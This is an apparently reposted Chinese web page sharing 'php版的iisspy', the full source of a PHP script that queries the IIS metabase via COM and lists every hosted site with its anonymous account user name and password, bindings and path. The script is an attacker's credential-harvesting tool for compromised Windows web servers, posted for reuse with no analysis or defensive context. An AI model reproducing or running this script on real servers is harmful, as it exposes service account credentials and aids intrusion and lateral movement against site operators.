php版的iisspy

来源:互联网 发布:企业局域网监控软件 编辑:程序博客网 时间:2024/06/16 20:18
<?phpdefine('IS_WIN', DIRECTORY_SEPARATOR == '\\');define('IS_COM', class_exists('COM') ? 1 : 0 );?><html xmlns=http://www.w3.org/1999/xhtml><head id=Head1><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><meta http-equiv="pragma" content="no-cache" /><title>IIS SPY</title><style type="text/css">BODY,TD{FONT-SIZE: 14px;line-height:20px;}.tab-content { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; VERTICAL-ALIGN: top; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff;}.Soft-content { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; VERTICAL-ALIGN: top; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff;}</style></head><body><table cellspacing=1 runat=server cellpadding=1 width=600px align=center border=0><tr><td class=Soft-content>        <div id="frm_main"><?phpfunction ShowErr($s){        echo("<pre stylr='background:#d1d1d1;'><font color=red>$s</font></pre>");}if(IS_WIN && IS_COM){        try{        $obj=@new COM("IIS://localhost/w3svc");        $ctn="<table class=tab-content width=100% border=0 align=center cellpadding=0 cellspacing=0>        <tr bgcolor=#0066CC><td>ID:</td><td>IIS_USER:</td><td>IIS_PASS:</td><td>Domain:</td><td>Path:</td></tr>\n";        $i=0;        foreach($obj as $obj3w)        {                    $i++;                if($i%2==0) $ctn.="<tr>";                else $ctn.="<tr bgcolor=#F0F8FF>";                if(!is_numeric($obj3w->Name)) continue;                $webSite=new com("IIS://localhost/w3svc/".$obj3w->Name.'/Root');                if(!$webSite)                {        $ctn.="<td>[ERROR]=".$php_errormsg."</td><td></td><td></td><td></td><td></td></tr>\n";                        continue;                }                $Binds="";                foreach($obj3w->ServerBindings as $Binds1)                {                        $Binds.=$Binds1."\n";                }                $user=$webSite->AnonymousUserName;                $pass=$webSite->AnonymousUserPass;                $path=$webSite->path;                $ctn.="<td >".$i."</td><td >".$user."</td><td >".$pass."</td><td >".$Binds."</td><td >".$path."</td></tr>\n";        }        $ctn.="</table>";        echo $ctn;        }        catch(Exception $e){                ShowErr($e->getMessage());        }}else{        ShowErr('系统不支持');}?>        </div></td></tr></table></body></html>

0 0
原创粉丝点击